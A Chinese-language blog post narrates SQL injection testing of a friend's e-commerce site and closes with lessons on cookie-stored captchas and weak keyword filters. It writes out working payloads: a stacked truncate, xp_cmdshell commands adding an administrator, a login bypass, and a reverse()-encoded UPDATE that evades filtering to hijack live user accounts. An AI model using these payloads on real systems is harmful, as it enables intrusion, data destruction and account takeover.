電子商務網站SQL注入項目實戰一例

故事A段：發現整站SQL對外輸出：

 

有個朋友的網站，由於是外包項目，深圳某公司開發的，某天我幫他檢測了一下網站相關情況。

我查看了頁面源代碼，發現了個驚人的事情，竟然整站打印SQL到Html里，着實嚇我一跳：

PS：2年前秋色園系列文章有分享一文是整站SQL打印用於分析網站性能，不過也只是本地優化調試，而服務器上也采用某特殊條件才打印。

於是把這赤祼祼的對外公開的SQL問題反映了過去，之后算是取消了。 

故事B段：錯誤異常打印了SQL，誘人： 

 

過了些許天，我又抽空看了看：

原始路徑為：http://www.xxx.com/s-l----333.html，我隨意加了個引號：

 

直接打印SQL？這不是引誘人犯罪么？好吧，當時被誘了一下，花了小半天折騰了一下。

 

故事C段：發現有簡單的SQL關鍵字過濾： 

 

隨意加了個“and“條件，發現有過濾一些關鍵字： 

  

然后多次檢測，發現過濾了：and select,update,delete等關鍵字。

 

故事D段：發現可以執行自定義語句，但SQL賬號似乎沒有SA權限或者是關閉了xp_cmdshell服務： 

於是我組了一條truncate table xxx，當然，這是個不存在的表名： 

http: // www.xxxx.com/s-l-82900-6'%20%20or%201=1;truncate%20table%20abc;-- 

 

試了下，執行完成，沒報啥提示，太恐怖了。

既然可以執行自定義語句，那執行下提權語句看看：

           http: 
          // 
          www.xxxx.com/s-l-82900-6'%20%20or%201=1;exec master..xp_cmdshell 'net user test 1234 
          
 http: 
          // 
          www.xxxx.com/s-l-82900-6'%20%20or%201=1;exec master..xp_cmdshell 'net localgroup administrators test /add 
         

 

發現沒啥提示，但是賬號不起效果，所以估計sql的賬號沒有sa權限可以調用xp_cmdshell，另外這里，由於--符號被用來分隔字符串，所以不起作用。

故事E段：發現登陸有明顯的SQL漏洞： 

 

過了點時間，我就不折騰了，我打算注冊個賬號看看其它情況。 

到了登陸頁，發現注冊還要綁定手機號，我就不注冊了，於是在登陸里隨手弄了一個常見的a' or 1=1--

竟然報密碼錯誤，嚇我一跳，說明用戶名注入了，只是密碼那關錯誤。 

 

故事F段：發現驗證碼竟然在Cookie里： 

 

通過攔截請求信息，發現更奇葩的事：

 

驗證碼竟然直接放在Cookie里，這。。。

故事G段：破解用戶密碼： 

 

既然用戶名可以注入，為啥密碼還報錯誤？

通過錯誤的語法，看了一下對方的SQL語句，猜出了基本的代碼邏輯：

 

根據用戶名查出了賬號信息，取出的數據的密碼再和密碼對比。

 

構造注入語句，發現密碼為md5存儲： 

 

           既然可以注入，這里就可以執行語句了，於是，使用普通的語句弄個賬號登陸試試。 
          
 一開始我構造了條件： 
          
 username=a 
          ' 
            or password= 
          ' 
          123456 
          ' 
          --&password=123456&verifycode=5020  
          
 考慮到用弱密碼123456的很多，我就試了下，發現沒搞頭，本來還想寫個爆破弱口令的賬號。 
          
 后來想想，這密碼，一般都是加密的，所以我要知道對方的加密方式。 
          
 通過多次構造類似下面的語句： 
          
 username=a 
          ' 
            or len(password)=16--&password=123456&verifycode=5020 
          
 最終確定了為md5加密存儲。 
          
 於是把123456 md5一下變成： 
          
 username=a 
          ' 
            or password= 
          '49ba59abbe56e057 
          ' 
          --&password=123456&verifycode=5020 
         

 

沒想到，來了個以下坑爹的提示：

 

試了下很多個賬號，都是這種情況，這提示太坑爹，忽悠了我。

PS：其實是賬號通過了，直接拿返回的Cookie就可以進用戶的，不過我被忽悠了，以為不可用。

返回的Cookie，實際也是加密的，所以，這種方式，看不到手機號，所以沒法直接簡單的登陸。

再構造SQL注入語句，創建屬於自己的賬號和密碼： 

           於是，我想通過構造更新語句，把某個賬號的手機號和密碼都更新一下，然后再我登陸進去。 
          
 所以，我就必須執行類似於：update xxx  
          set username= 
          ' 
          13811114444 
          ',password= 
          ' 
          888888 
          '  
          where uid= 
          10003 
          
 由於過濾掉update，所以直接來是不行的，本來打還算編碼成16進制折騰，發現轉16進制麻煩，也懶的開vs折騰。 
          
 於是我想到了一個簡單的方式，把語句反過來寫，再用reverse函數把語句轉過來執行。 
         

 

最終就成了以下函數：

username= 13430330585 ' ;declare @A varchar(200);set @A=reverse( ''' 58803303431 ''=emanresu erehw  ''9d4d9c1ac9814f08 ''=drowssaP tes xxx tadpu ' );exec(@A);--&password=88888888&verifycode=2222

 

執行后，發現都是返回“當前賬號已凍結，請聯系客戶”這句大忽悠的話。。。

害的我試了N個賬號，最后拿其中一個登陸了，才發現是正常的。

 

后來告訴了對方有SQL注入漏洞，最后反饋說用SQL工具檢測正常，無語。

再后來就示例告訴了對方，修正了這個漏洞后，我就寫文分享了。 

 

 

總結：

1：驗證碼怎么可以放Cookie里？

2：SQL語句怎么可以隨意打印給別人看？

3：SQL注入檢測怎么能光靠工具？ 

4：防SQL注入怎么能靠幾個簡單的關鍵字過濾？

 

補充截圖：